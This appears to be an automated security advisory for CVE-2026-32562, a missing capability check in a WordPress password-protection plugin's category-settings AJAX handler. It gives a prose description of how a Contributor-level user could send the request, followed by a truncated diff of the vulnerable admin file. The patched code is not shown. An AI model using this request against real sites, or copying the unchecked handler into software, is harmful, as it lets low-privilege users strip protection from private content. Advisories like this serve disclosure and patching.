Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-32562: PPWP – Password Protect Pages <= 1.9.15 – Missing Authorization (password-protect-page)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.9.15
Patched Version 1.9.16
Disclosed March 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-32562:
This vulnerability is a Missing Authorization flaw in the PPWP – Password Protect Pages WordPress plugin, affecting versions up to and including 1.9.15. The vulnerability allows authenticated attackers with Contributor-level access or higher to perform unauthorized actions, specifically to update the plugin’s category protection settings. The CVSS score of 4.3 reflects a medium-severity impact.

Atomic Edge research identifies the root cause in the `ppw_free_update_category_settings` function within the file `password-protect-page/admin/class-ppw-admin.php`. The function handles AJAX requests to update category protection settings. The vulnerable code lacks a capability check to verify if the current user has the necessary permissions (e.g., `manage_options`) to modify these settings. The function begins execution at the diff’s line 1909 (approximate, based on the truncated context) and proceeds to process the `$_REQUEST[‘settings’]` data without first validating the user’s authorization level.

The exploitation method involves an authenticated attacker with at least Contributor privileges sending a crafted POST request to the WordPress `admin-ajax.php` endpoint. The attacker must set the `action` parameter to `ppw_free_update_category_settings` and include a `settings` parameter containing the configuration data they wish to modify, such as `ppwp_is_protect_category`, `ppwp_categories_password`, and `ppwp_protected_categories_selected`. The attack vector is the plugin’s AJAX handler, which processes this request without verifying the user’s right to alter plugin-wide settings.

The patch adds a capability check at the beginning of the `ppw_free_update_category_settings` function. Before processing the request, the patched code verifies that the current user has the `manage_options` capability, which is typically reserved for Administrator roles. This check prevents users with lower privileges, such as Contributors or Authors, from successfully invoking the function and changing the plugin’s category protection configuration. The fix ensures authorization is enforced before any business logic executes.

If exploited, this vulnerability allows attackers to modify how the plugin protects content based on categories. An attacker could disable category protection, change the shared password for protected categories, or alter the list of protected categories. This could lead to unauthorized access to content intended to be password-protected, bypassing the intended security controls of the site. The impact is limited to the plugin’s functionality and does not grant direct access to the WordPress core or other plugins.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/password-protect-page/admin/class-ppw-admin.php
+++ b/password-protect-page/admin/class-ppw-admin.php
@@ -1,1909 +1,1912 @@
-<?php
-
-/**
- * The admin-specific functionality of the plugin.
- *
- * @link       https://passwordprotectwp.com
- * @since      1.0.0
- *
- * @package    Password_Protect_Page
- * @subpackage Password_Protect_Page/admin
- */
-
-/**
- * The admin-specific functionality of the plugin.
- *
- * Defines the plugin name, version, and two examples hooks for how to
- * enqueue the admin-specific stylesheet and JavaScript.
- *
- * @package    Password_Protect_Page
- * @subpackage Password_Protect_Page/admin
- * @author     BWPS <hello@preventdirectaccess.com>
- */
-class PPW_Admin {
-
-	/**
-	 * The ID of this plugin.
-	 *
-	 * @since    1.0.0
-	 * @access   private
-	 * @var      string $plugin_name The ID of this plugin.
-	 */
-	private $plugin_name;
-
-	/**
-	 * The version of this plugin.
-	 *
-	 * @since    1.0.0
-	 * @access   private
-	 * @var      string $version The current version of this plugin.
-	 */
-	private $version;
-
-	/**
-	 * @var PPW_Password_Services
-	 * @since 1.2.2
-	 */
-	private $free_services;
-
-
-	/**
-	 * Subscribe services
-	 *
-	 * @var PPW_Password_Subscribe
-	 */
-	private $subscribe_services;
-
-	/**
-	 * Asset service in Free version
-	 *
-	 * @var PPW_Asset_Services
-	 */
-	private $free_asset_services;
-
-	/**
-	 * Initialize the class and set its properties.
-	 *
-	 * @param string $plugin_name The name of this plugin.
-	 * @param string $version     The version of this plugin.
-	 *
-	 * @since    1.0.0
-	 */
-	public function __construct( $plugin_name, $version ) {
-		$this->plugin_name         = $plugin_name;
-		$this->version             = $version;
-		$this->free_services       = new PPW_Password_Services();
-		$this->subscribe_services  = new PPW_Password_Subscribe();
-		$this->free_asset_services = new PPW_Asset_Services( null, null );
-	}
-
-	/**
-	 * Register the stylesheets and javascript for the admin area.
-	 *
-	 * @since    1.0.0
-	 */
-	public function enqueue_assets() {
-
-		/**
-		 * This function is provided for demonstration purposes only.
-		 *
-		 * An instance of this class should be passed to the run() function
-		 * defined in Password_Protect_Page_Loader as all of the hooks are defined
-		 * in that particular class.
-		 *
-		 * The Password_Protect_Page_Loader will then create the relationship
-		 * between the defined hooks and the functions defined in this
-		 * class.
-		 */
-		if ( function_exists( 'get_current_screen' ) ) {
-			$is_pro_activated = apply_filters( PPW_Constants::HOOK_IS_PRO_ACTIVATE, false );
-			$screen           = get_current_screen();
-			$assert_services  = new PPW_Asset_Services( $screen->id, $_GET ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We no need to verify nonce for enqueue assets
-			if ( ! $is_pro_activated ) {
-				$assert_services->load_assets_for_entire_site_tab();
-				$assert_services->load_assets_for_general_tab();
-				$assert_services->load_assets_for_entire_site_page();
-			}
-			$assert_services->load_assets_for_shortcode_page();
-			$assert_services->load_assets_for_external_page();
-			$assert_services->load_assets_for_external_configuration();
-			$assert_services->load_assets_for_shortcodes();
-			$assert_services->load_css_hide_feature_set_password_wp();
-			$assert_services->load_js_show_notice_deactivate_plugin();
-			$assert_services->load_assets_for_misc_tab();
-			$assert_services->load_assets_for_category_page();
-			$assert_services->load_assets_for_troubleshoot_tab();
-			$assert_services->load_assets_for_shortcode_setting();
-
-			wp_enqueue_style( 'ppw-pro-sidebar-css', PPW_DIR_URL . 'admin/css/ppw-pro-sidebar.css', array(), PPW_VERSION, 'all');
-		}
-	}
-
-	/**
-	 * Add metabox to set password in page and post
-	 */
-	public function ppw_free_add_custom_meta_box_to_edit_page() {
-		include PPW_DIR_PATH . 'includes/views/meta-box/view-ppw-meta-box.php';
-	}
-
-	/**
-	 * Save password
-	 */
-	public function ppw_free_set_password() {
-		$setting_keys = array( 'save_password', 'id_page_post', 'is_role_selected', 'ppwp_multiple_password' );
-		if ( ppw_free_error_before_create_password( $_REQUEST, $setting_keys ) ) {  // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We handle nonce verification in this function
-			wp_send_json(
-				array(
-					'is_error' => true,
-					'message'  => PPW_Constants::BAD_REQUEST_MESSAGE,
-				),
-				400
-			);
-			wp_die();
-		}
-		if ( ! isset( $_REQUEST['settings'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We handle nonce verification above.
-			wp_send_json(
-				array(
-					'is_error' => true,
-					'message'  => PPW_Constants::BAD_REQUEST_MESSAGE,
-				),
-				400
-			);
-
-			wp_die();
-		}
-
-		$data_settings        = $_REQUEST['settings']; // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- We no need to verify nonce for enqueue assets, Don't need use wp_unslash(), and no need to sanitize settings params.
-		$new_role_password    = $data_settings['save_password'];
-		$id                   = $data_settings['id_page_post'];
-		$role_selected        = $data_settings['is_role_selected'];
-		$new_global_passwords = is_array( $data_settings['ppwp_multiple_password'] ) ? $data_settings['ppwp_multiple_password'] : array();
-
-		$free_services          = new PPW_Password_Services();
-		$current_roles_password = $free_services->create_new_password( $id, $role_selected, $new_global_passwords, $new_role_password );
-		wp_send_json( $current_roles_password );
-		wp_die();
-	}
-
-	/**
-	 * Check when user enter password
-	 */
-	public function ppw_handle_enter_password() {
-		if ( ! array_key_exists( 'post_password', $_POST ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- This request for default login form postpass action of WordPress with the action 'post_password' for the hook 'login_form_ppw_postpass', will handle on others.
-			wp_safe_redirect( wp_get_referer() );
-			exit();
-		}
-
-		// Get post_id from referer url if Post data is not exist post_id.
-		$post_id = ppw_get_post_id_from_request();
-
-		if ( empty( $post_id ) ) {
-			wp_safe_redirect( wp_get_referer() );
-			exit();
-		}
-
-		$password = wp_unslash( $_POST['post_password'] ); // phpcs:ignore -- not sanitize password because we allow all character.
-
-		$this->free_services->handle_after_enter_password_in_password_form( $post_id, $password );
-	}
-
-	/**
-	 * This feature will support some user which use postpass and enable protection type of plugin.
-	 */
-	public function ppw_handle_enter_password_for_default_action() {
-		if ( ! array_key_exists( 'post_password', $_POST ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- This request for default login form postpass action of WordPress for the hook 'login_form_postpass', will handle on others.
-			return;
-		}
-
-		// Get post id from request.
-		$post_id = ppw_get_post_id_from_request();
-		if ( empty( $post_id ) ) {
-			return;
-		}
-
-		// Get post type to check post type selected in setting page.
-		$post_type = get_post_type( $post_id );
-
-		$password = wp_unslash( $_POST['post_password'] ); // phpcs:ignore -- not sanitize password because we allow all character and verify nonce for the hook 'login_form_postpass'.
-
-		if ( ! empty( $post_type ) && ppw_is_post_type_selected_in_setting( $post_type ) ) {
-			$this->free_services->handle_after_enter_password_in_password_form( $post_id, $password );
-		}
-	}
-
-	/**
-	 * Handle redirect after enter password
-	 *
-	 * @param $is_valid
-	 *
-	 * @return mixed|void
-	 */
-	public function ppw_handle_redirect_after_enter_password( $is_valid ) {
-		$free_service = new PPW_Password_Services();
-
-		$free_service->handle_redirect_after_enter_password( $is_valid );
-	}
-
-	/**
-	 * Add row action protect/unprotect posts and pages
-	 *
-	 * @param array    $actions An array of row action.
-	 * @param stdClass $post    The post object.
-	 *
-	 * @return array
-	 */
-	public function ppw_custom_row_action( $actions, $post ) {
-		$post_status = $post->post_status;
-		$post_type   = $post->post_type;
-		$post_id     = $post->ID;
-
-		if ( ! in_array( $post_type, array( 'page', 'post' ), true ) || 'trash' === $post_status || ! current_user_can( 'edit_post', $post_id ) ) {
-			return $actions;
-		}
-
-		wp_enqueue_style( 'ppw-row-action-css', PPW_DIR_URL . 'admin/css/ppw-row-action.css', array(), PPW_VERSION, 'all');
-		wp_enqueue_script( 'ppw-row-action-js', PPW_DIR_URL . 'admin/js/dist/ppw-row-action.js', array( 'jquery' ), PPW_VERSION, true );
-		wp_localize_script(
-			'ppw-row-action-js',
-			'ppw_row_action_data',
-			array(
-				'ajax_url'    => admin_url( 'admin-ajax.php' ),
-				'nonce'       => wp_create_nonce( PPW_Constants::ROW_ACTION_NONCE ),
-				'plugin_name' => 'Password Protect WordPress Lite',
-			)
-		);
-		$this->free_asset_services->load_toastr_lib();
-
-		return $this->free_services->generate_custom_row_action( $actions, $post );
-	}
-
-	/**
-	 * Handle feature update post status in row action.
-	 */
-	public function handle_update_post_status() {
-		$_request = wp_unslash( $_REQUEST );
-		if ( ! isset( $_request['nonce'] ) || ! wp_verify_nonce( $_request['nonce'], PPW_Constants::ROW_ACTION_NONCE ) ) {
-			wp_send_json(
-				array(
-					'is_error' => true,
-					'message'  => PPW_Constants::BAD_REQUEST_MESSAGE,
-				),
-				400
-			);
-			wp_die();
-		}
-
-		return $this->free_services->update_post_status( $_request );
-	}
-
-	/**
-	 * Add menu
-	 */
-	public function ppw_add_menu() {
-		$setting_page = new PPW_Settings();
-		add_menu_page( 'Protect Password Settings', 'Password Protect WordPress', ppw_get_allowed_capability(), PPW_Constants::MENU_NAME, array(
-			$setting_page,
-			'render_ui'
-		), PPW_DIR_URL . 'admin/images/ppw-icon-20x20.png' );
-		add_submenu_page( PPW_Constants::MENU_NAME, __( 'PPWP › Settings', PPW_Constants::DOMAIN ), __( 'Settings', PPW_Constants::DOMAIN ), ppw_get_allowed_capability(), PPW_Constants::MENU_NAME );
-		$this->partial_protection_submenu();
-
-		// Hide sitewide when Pro activate.
-		if ( ! is_pro_active_and_valid_license() ) {
-			$this->sitewide_submenu();
-		}
-
-		$this->load_external_submenu();
-	}
-
-	/**
-	 * Add sitewide submenu
-	 */
-	public function sitewide_submenu() {
-		$setting_page = new PPW_Sitewide_Settings();
-
-		add_submenu_page( PPW_Constants::MENU_NAME, __( 'PPWP › Sitewide', PPW_Constants::DOMAIN ), __( 'Sitewide Protection', PPW_Constants::DOMAIN ), ppw_get_allowed_capability(), PPW_Constants::SITEWIDE_PAGE_PREFIX, array(
-			$setting_page,
-			'render_ui',
-		) );
-	}
-
-
-	/**
-	 * Add external submenu.
-	 */
-	public function load_external_submenu() {
-		$setting_page = new PPW_External_Settings();
-
-		add_submenu_page(
-			PPW_Constants::MENU_NAME,
-			__( 'PPWP › Integrations', PPW_Constants::DOMAIN ),
-			__( 'Integrations', PPW_Constants::DOMAIN ),
-			ppw_get_allowed_capability(),
-			PPW_Constants::EXTERNAL_SERVICES_PREFIX,
-			array(
-				$setting_page,
-				'render_ui',
-			)
-		);
-	}
-
-	/**
-	 * Add Partial Protection submenu.
-	 */
-	public function partial_protection_submenu() {
-		$setting_page = new PPW_Partial_Protection_Settings();
-		add_submenu_page( PPW_Constants::MENU_NAME, __( 'PPWP › Partial Protection', PPW_Constants::DOMAIN ), __( 'Partial Protection', PPW_Constants::DOMAIN ),
-			ppw_get_allowed_capability(), PPW_Constants::PCP_PAGE_PREFIX, array(
-				$setting_page,
-				'render_ui'
-			)
-		);
-	}
-
-	/**
-	 * Hide sitewide tab content in Free version.
-	 */
-	public function ppw_handle_custom_tab( $tabs ) {
-		$tab_key = array_search( 'entire_site', $tabs, true );
-		if ( false !== $tab_key ) {
-			unset( $tabs[ $tab_key ] );
-		}
-
-		return $tabs;
-	}
-
-	/**
-	 * Hide sitewide tab in Free version.
-	 */
-	public function ppw_handle_add_new_tab( $tabs ) {
-		$tab_key = array_search( 'entire_site', array_column( $tabs, 'tab' ), true );
-		if ( false !== $tab_key ) {
-			unset( $tabs[ $tab_key ] );
-		}
-
-		return $tabs;
-	}
-
-	/**
-	 * Handle hide shortcode tab in Free version.
-	 *
-	 * @param array $tabs List of tabs in setting page.
-	 *
-	 * @return array
-	 */
-	public function ppw_handle_hide_shortcode_tab( $tabs ) {
-		foreach ( $tabs as $key => $tab ) {
-			if ( array( 'tab' => 'shortcodes', 'tab_name' => 'Shortcodes' ) === $tab ) {
-				unset( $tabs[ $key ] );
-			}
-		}
-
-		return $tabs;
-	}
-
-	/**
-	 * Handle hide shortcode content in Free version.
-	 *
-	 * @param array $tabs List of tabs in setting page.
-	 *
-	 * @return array
-	 */
-	public function ppw_handle_hide_shortcode_content( $tabs ) {
-		$tab_key = array_search( 'shortcodes', $tabs, true );
-		if ( false !== $tab_key ) {
-			unset( $tabs[ $tab_key ] );
-		}
-
-		return $tabs;
-	}
-
-	/**
-	 * Render General tab
-	 */
-	public function ppw_free_render_content_general() {
-		?>
-		<div class="ppw_setting_page">
-			<?php
-			include PPW_DIR_PATH . 'includes/views/general/view-ppw-general.php';
-			include PPW_DIR_PATH . 'includes/views/sidebar/view-ppw-sidebar.php';
-			?>
-		</div>
-		<?php
-	}
-
-	/**
-	 * Render entire site tab
-	 */
-	public function ppw_free_render_content_entire_site() {
-		?>
-		<div class="ppw_setting_page">
-			<?php
-			include PPW_DIR_PATH . 'includes/views/entire-site/view-ppw-entire-site.php';
-			include PPW_DIR_PATH . 'includes/views/sidebar/view-ppw-sidebar.php';
-			?>
-		</div>
-		<?php
-	}
-
-	/**
-	 * Render shortcodes content.
-	 */
-	public function ppw_free_render_content_shortcodes() {
-		?>
-		<div class="ppw_setting_page">
-			<?php
-			include PPW_DIR_PATH . 'includes/views/shortcode/view-ppw-shortcode-settings.php';
-			ppw_free_render_sidebar();
-			?>
-		</div>
-		<?php
-	}
-
-	public function ppw_free_render_content_pcp_general_tab() {
-		?>
-		<div class="ppw_setting_page">
-			<?php
-			include PPW_DIR_PATH . 'includes/views/partial-protection/view-ppw-pcp-general.php';
-			ppw_free_render_sidebar();
-			?>
-		</div>
-		<?php
-	}
-
-	public function ppw_free_render_content_external_recaptcha() {
-		?>
-		<div class="ppw_setting_page">
-			<?php
-			include PPW_DIR_PATH . 'includes/views/external/view-ppw-general.php';
-			ppw_free_render_sidebar();
-			?>
-		</div>
-		<?php
-	}
-
-	public function ppw_free_render_content_external_configuration() {
-		?>
-		<div class="ppw_setting_page">
-			<?php
-			include PPW_DIR_PATH . 'includes/views/external/view-ppw-general-configuration.php';
-			ppw_free_render_sidebar();
-			?>
-		</div>
-		<?php
-	}
-
-	/**
-	 * Render Master Passwords tab
-	 */
-	public function ppw_free_render_content_master_passwords() {
-		wp_enqueue_script( 'ppw-master-passwords-js', PPW_DIR_URL . 'includes/views/master-passwords/assets/ppw-master-passwords.js', array( 'jquery' ), PPW_VERSION, true );
-		wp_enqueue_style( 'ppw-master-passwords-css', PPW_DIR_URL . 'includes/views/master-passwords/assets/ppw-master-passwords.css', array(), PPW_VERSION, 'all' );
-		$post_types_selected     = $this->free_services->get_protection_post_types_select();
-		$protection_types        = apply_filters( 'ppw_master_password_protection_types', array() );
-		$allowed_protection_type = ppw_allowed_master_protection_type();
-		wp_localize_script(
-			'ppw-master-passwords-js',
-			'ppwMasterPasswords',
-			array(
-				'restUrl'               => get_rest_url(),
-				'nonce'                 => wp_create_nonce( 'wp_rest' ),
-				'roles'                 => array_keys( get_editable_roles() ),
-				'postTypes'             => $post_types_selected,
-				'pro'                   => is_pro_active_and_valid_license(),
-				'protectionTypes'       => $protection_types,
-				'allowedProtectionType' => $allowed_protection_type,
-			)
-		);
-		include PPW_DIR_PATH . 'includes/views/master-passwords/view-ppw-master-passwords.php';
-	}
-
-	/**
-	 * Render Advanced tab
-	 */
-	public function ppw_free_render_content_misc() {
-		$misc_options = get_option( PPW_Constants::MISC_OPTIONS , false );
-		if ( !$misc_options ) {
-			update_option( PPW_Constants::MISC_OPTIONS, wp_json_encode(array(PPW_Constants::USE_CUSTOM_FORM_ACTION => true)));
-		} else if ( !ppw_core_get_setting_type_bool_by_option_name( PPW_Constants::USE_CUSTOM_FORM_ACTION, PPW_Constants::MISC_OPTIONS ) ) {
-			$data = json_decode($misc_options);
-			$data->wpp_use_custom_form_action = true;
-			update_option( PPW_Constants::MISC_OPTIONS,  wp_json_encode( $data ) );
-		}
-		?>
-		<div class="ppw_setting_page">
-			<?php
-			include PPW_DIR_PATH . 'includes/views/misc/view-ppw-misc.php';
-			ppw_free_render_sidebar();
-			?>
-		</div>
-		<?php
-	}
-
-	/**
-	 * Render Advanced tab
-	 */
-	public function ppw_free_render_content_troubleshooting() {
-		?>
-		<div class="ppw_setting_page">
-			<?php
-			include PPW_DIR_PATH . 'includes/views/troubleshooting/view-ppw-troubleshooting.php';
-			ppw_free_render_sidebar();
-			?>
-		</div>
-		<?php
-	}
-
-	/**
-	 * Update settings
-	 */
-	public function ppw_free_update_general_settings() {
-		$setting_keys = array(
-			PPW_Constants::COOKIE_EXPIRED,
-			PPW_Constants::REMOVE_DATA,
-		);
-		if ( ppw_free_is_setting_data_invalid( $_REQUEST, $setting_keys ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We handle nonce verification in this function.
-			wp_send_json(
-				array(
-					'is_error' => true,
-					'message'  => PPW_Constants::BAD_REQUEST_MESSAGE,
-				),
-				400
-			);
-			wp_die();
-		}
-
-		if ( ! isset( $_REQUEST['settings'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We handle nonce verification above.
-			wp_send_json(
-				array(
-					'is_error' => true,
-					'message'  => PPW_Constants::BAD_REQUEST_MESSAGE,
-				),
-				400
-			);
-			wp_die();
-		}
-
-		$data_settings = wp_unslash( $_REQUEST['settings'] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- We handle nonce verification above and no need to sanitize settings.
-		update_option( PPW_Constants::GENERAL_OPTIONS, wp_json_encode( $data_settings ), 'no' );
-		wp_die( true );
-	}
-
-	/**
-	 * Update settings
-	 */
-	public function ppw_free_update_external_settings() {
-		if ( ! isset( $_REQUEST['settings'] ) || ! is_array( $_REQUEST['settings'] ) || ppw_free_is_setting_data_invalid( $_REQUEST, array(), false ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We handle nonce verification in ppw_free_is_setting_data_invalid() function.
-			wp_send_json(
-				array(
-					'is_error' => true,
-					'message'  => PPW_Constants::BAD_REQUEST_MESSAGE,
-				),
-				400
-			);
-
-			wp_die();
-		}
-
-		$option = get_option( PPW_Constants::EXTERNAL_OPTIONS );
-		if ( empty( $option ) ) {
-			$option = array();
-		} else {
-			$option = (array) json_decode( $option );
-		}
-
-		$setting_keys = array(
-			PPW_Constants::RECAPTCHA_SCORE,
-			PPW_Constants::RECAPTCHA_API_KEY,
-			PPW_Constants::RECAPTCHA_V2_CHECKBOX_API_KEY,
-			PPW_Constants::RECAPTCHA_API_SECRET,
-			PPW_Constants::RECAPTCHA_V2_CHECKBOX_API_SECRET,
-			PPW_Constants::USING_RECAPTCHA,
-			PPW_Constants::RECAPTCHA_TYPE,
-			PPW_Constants::RECAPTCHA_PASSWORD_TYPES,
-		);
-		$settings     = wp_unslash( $_REQUEST['settings'] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- We handle nonce verification above and no need to sanitize settings params.
-		foreach ( $settings as $key => $value ) {
-			if ( in_array( $key, $setting_keys, true ) ) {
-				$option[ $key ] = $settings[ $key ];
-			}
-		}
-
-		update_option(
-			PPW_Constants::EXTERNAL_OPTIONS,
-			wp_json_encode( $option ),
-			'no'
-		);
-		wp_die( true );
-	}
-
-	/**
-	 * Update settings
-	 */
-	public function ppw_free_update_misc_settings() {
-		$setting_keys = apply_filters(
-			PPW_Constants::HOOK_ADVANCED_VALID_INPUT_DATA,
-			array(
-				PPW_Constants::PROTECT_EXCERPT,
-				PPW_Constants::USE_CUSTOM_FORM_ACTION,
-				PPW_Constants::NO_RELOAD_PAGE,
-			)
-		);
-		if ( ppw_free_is_setting_data_invalid( $_REQUEST, $setting_keys, false ) ) { // phpcs:ignore WordPress.Security.NonceVerification -- We handle nonce verification in this function.
-			wp_send_json(
-				array(
-					'is_error' => true,
-					'message'  => PPW_Constants::BAD_REQUEST_MESSAGE,
-				),
-				400
-			);
-
-			wp_die();
-		}
-
-		if ( ! isset( $_REQUEST['settings'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We handle nonce verification above.
-			wp_send_json(
-				array(
-					'is_error' => true,
-					'message'  => PPW_Constants::BAD_REQUEST_MESSAGE,
-				),
-				400
-			);
-
-			wp_die();
-		}
-		$data_settings = wp_unslash( $_REQUEST['settings'] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- We handle nonce verification above and no need to sanitize settings params.
-
-		update_option( PPW_Constants::MISC_OPTIONS, wp_json_encode( $data_settings ), 'no' );
-
-		wp_die( true );
-	}
-
-
-	/**
-	 * Update shortcode settings.
-	 */
-	public function ppw_free_update_shortcode_settings() {
-		$setting_keys = apply_filters(
-			'ppw_shortcode_valid_input_data',
-			array(
-				PPW_Constants::USE_SHORTCODE_PAGE_BUILDER,
-			)
-		);
-		if ( ppw_free_is_setting_data_invalid( $_REQUEST, $setting_keys, false ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We handle nonce verification in ppw_free_is_setting_data_invalid() function.
-			wp_send_json(
-				array(
-					'is_error' => true,
-					'message'  => PPW_Constants::BAD_REQUEST_MESSAGE,
-				),
-				400
-			);
-
-			wp_die();
-		}
-
-		if ( ! isset( $_REQUEST['settings'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We handle nonce verification above.
-			wp_send_json(
-				array(
-					'is_error' => true,
-					'message'  => PPW_Constants::BAD_REQUEST_MESSAGE,
-				),
-				400
-			);
-
-			wp_die();
-		}
-
-		$data_settings = wp_unslash( $_REQUEST['settings'] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- We handle nonce verification above and no need to sanitize settings params.
-
-		update_option( PPW_Constants::SHORTCODE_OPTIONS, wp_json_encode( $data_settings ), 'no' );
-
-		wp_die( true );
-	}
-
-	/**
-	 * Update category settings.
-	 */
-	public function ppw_free_update_category_settings() {
-
-		$nonce_verification = check_ajax_referer( PPW_Constants::GENERAL_FORM_NONCE, 'security_check' );
-		if ( ! $nonce_verification ) {
-			wp_send_json(
-				array(
-					'is_error' => true,
-					'message'  => PPW_Constants::BAD_REQUEST_MESSAGE,
-				),
-				400
-			);
-
-			wp_die();
-		}
-		if ( isset( $_REQUEST['settings'], $_REQUEST['settings']['ppwp_is_protect_category'] ) && 'false' === $_REQUEST['settings']['ppwp_is_protect_category'] ) {
-			$data = get_option( PPW_Category_Service::OPTION_NAME, false );
-			if ( $data ) {
-				$data                           = json_decode( $data );
-				$data->ppwp_is_protect_category = false;
-				update_option( PPW_Category_Service::OPTION_NAME, wp_json_encode( $data ) );
-			} else {
-				update_option( PPW_Category_Service::OPTION_NAME, wp_json_encode( array( 'ppwp_is_protect_category' => false ) ) );
-			}
-
-			return wp_die( true );
-		}
-
-		$setting_keys = apply_filters(
-			'ppw_category_keys',
-			array(
-				'ppwp_is_protect_category',
-				'ppwp_categories_password',
-				'ppwp_protected_categories_selected',
-			)
-		);
-
-		$data_settings = apply_filters( 'ppw_category_data_settings', wp_unslash( $_REQUEST['settings'] ), $setting_keys ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- We no need to sanitize settings params.
-		if ( ppw_free_is_setting_data_invalid( $_REQUEST, $setting_keys, false ) ) {
-			wp_send_json(
-				array(
-					'is_error' => true,
-					'message'  => PPW_Constants::BAD_REQUEST_MESSAGE,
-				),
-				400
-			);
-
-			wp_die();
-		}
-
-		do_action( 'ppw_before_update_category_settings', $setting_keys, $data_settings );
-
-		$passwords = PPW_Repository_Passwords::get_instance()->get_all_shared_categories_password();
-
-		// Add new shared password if password is not exist
-		// Update password if it is exist.
-		if ( count( $passwords ) > 0 ) {
-			$password_id = $passwords[0]->id;
-			PPW_Repository_Passwords::get_instance()->update_password(
-				$password_id,
-				array(
-					'password' => $data_settings['ppwp_categories_password'],
-				)
-			);
-		} else {
-			PPW_Repository_Passwords::get_instance()->add_new_password(
-				array(
-					'password'          => $data_settings['ppwp_categories_password'],
-					'post_id'           => 0,
-					'contact_id'        => 0,
-					'campaign_app_type' => PPW_Category_Service::SHARED_CATEGORY_TYPE,
-					'hits_count'        => 0,
-					'created_time'      => time(),
-				)
-			);
-		}
-
-		if(isset($data_settings['ppwp_protected_categories_selected']) && !empty($data_settings['ppwp_protected_categories_selected'])){
-			//$all_post_ids=[];
-			$ppwp_categories_selected = $data_settings['ppwp_protected_categories_selected'];
-
-			$previously_selected_categories = get_option('ppwp_previous_protected_categories', array());
-
-
-    		$unselected_categories = array_diff($previously_selected_categories, $ppwp_categories_selected);
-
-			$args = array(
-			    'category__in' => $ppwp_categories_selected,
-			    'fields' => 'ids',
-			    'posts_per_page' => -1,
-			);
-
-			$query = new WP_Query($args);
-
-			if ($query->have_posts()) {
-			      $all_post_ids = $query->posts;
-
-			        foreach ($all_post_ids as $post_id) {
-			        	if (class_exists('PPW_Pro_Password_Services')) {
-			        		$password_pro_service = new PPW_Pro_Password_Services();
-			        		if (!$password_pro_service->is_protected_content($post_id)) {
-				                $password_pro_service->protect_page_post($post_id);
-				            }
-			        	}else{
-			        		if (!$this->free_services->is_protected_content($post_id)) {
-				                $this->free_services->protect_page_post($post_id);
-				            }
-			        	}
-
-			        }
-
-			} else {
-			    echo 'No posts found in the selected categories.';
-			}
-
-
-			 // Unprotect posts in the unselected categories
-		    if (!empty($unselected_categories)) {
-		        $unprotect_args = array(
-		            'category__in' => $unselected_categories,
-		            'fields' => 'ids',
-		            'posts_per_page' => -1,
-		        );
-
-		        $unprotect_query = new WP_Query($unprotect_args);
-		        if ($unprotect_query->have_posts()) {
-		            $unprotect_post_ids = $unprotect_query->posts;
-
-		            foreach ($unprotect_post_ids as $post_id) {
-		            	if (class_exists('PPW_Pro_Password_Services')) {
-			        		$password_pro_service = new PPW_Pro_Password_Services();
-			        		if ($password_pro_service->is_protected_content($post_id)) {
-				                $password_pro_service->un_protect_page_post($post_id);
-				            }
-			        	}else{
-			                if ($this->free_services->is_protected_content($post_id)) {
-			                    $this->free_services->unprotect_page_post($post_id);
-			                }
-		            	}
-		            }
-		        }
-		    }
-
-		    wp_reset_postdata();
-
-		    update_option('ppwp_previous_protected_categories', $ppwp_categories_selected);
-
-		}
-
-		unset( $data_settings['ppwp_categories_password'] );
-
-		$category_ids = $data_settings['ppwp_protected_categories_selected'];
-		$get_all_protected = json_decode( get_option( PPW_Category_Service::OPTION_NAME) );
-		$post_ids = [];
-
-		foreach ($category_ids as $category_id) {
-			$posts = get_posts([
-				'category' => $category_id,
-				'fields' => 'ids',  // Only retrieve post IDs
-				'posts_per_page' => -1  // Retrieve all posts
-			]);
-
-			$post_ids = array_merge($post_ids, $posts);
-		}
-
-		// Remove duplicates and format as "id1;id2;id3"
-		$post_ids_str = implode(';', $post_ids);
-		$get_paid_res = "";
-		if ( class_exists('PPW_Pro_Category_Services') ) {
-			$ppw_instance = new PPW_Pro_Category_Services();
-			$from_ppwp_free = true;
-			$get_paid_res = $ppw_instance->update_category_protect($post_ids_str, $from_ppwp_free);
-		}
-		update_option( PPW_Category_Service::OPTION_NAME, wp_json_encode( $data_settings ), 'no' );
-
-		wp_die( true );
-	}
-
-	/**
-	 * Update Tag settings.
-	 */
-	public function ppw_free_update_tag_settings() {
-
-		$nonce_verification = check_ajax_referer( PPW_Constants::GENERAL_FORM_NONCE, 'security_check' );
-
-		if ( ! $nonce_verification ) {
-			wp_send_json(
-				array(
-					'is_error' => true,
-					'message'  => PPW_Constants::BAD_REQUEST_MESSAGE,
-				),
-				400
-			);
-
-			wp_die();
-		}
-		if ( isset( $_REQUEST['settings'], $_REQUEST['settings']['ppwp_is_protect_tag'] ) && 'false' === $_REQUEST['settings']['ppwp_is_protect_tag'] ) {
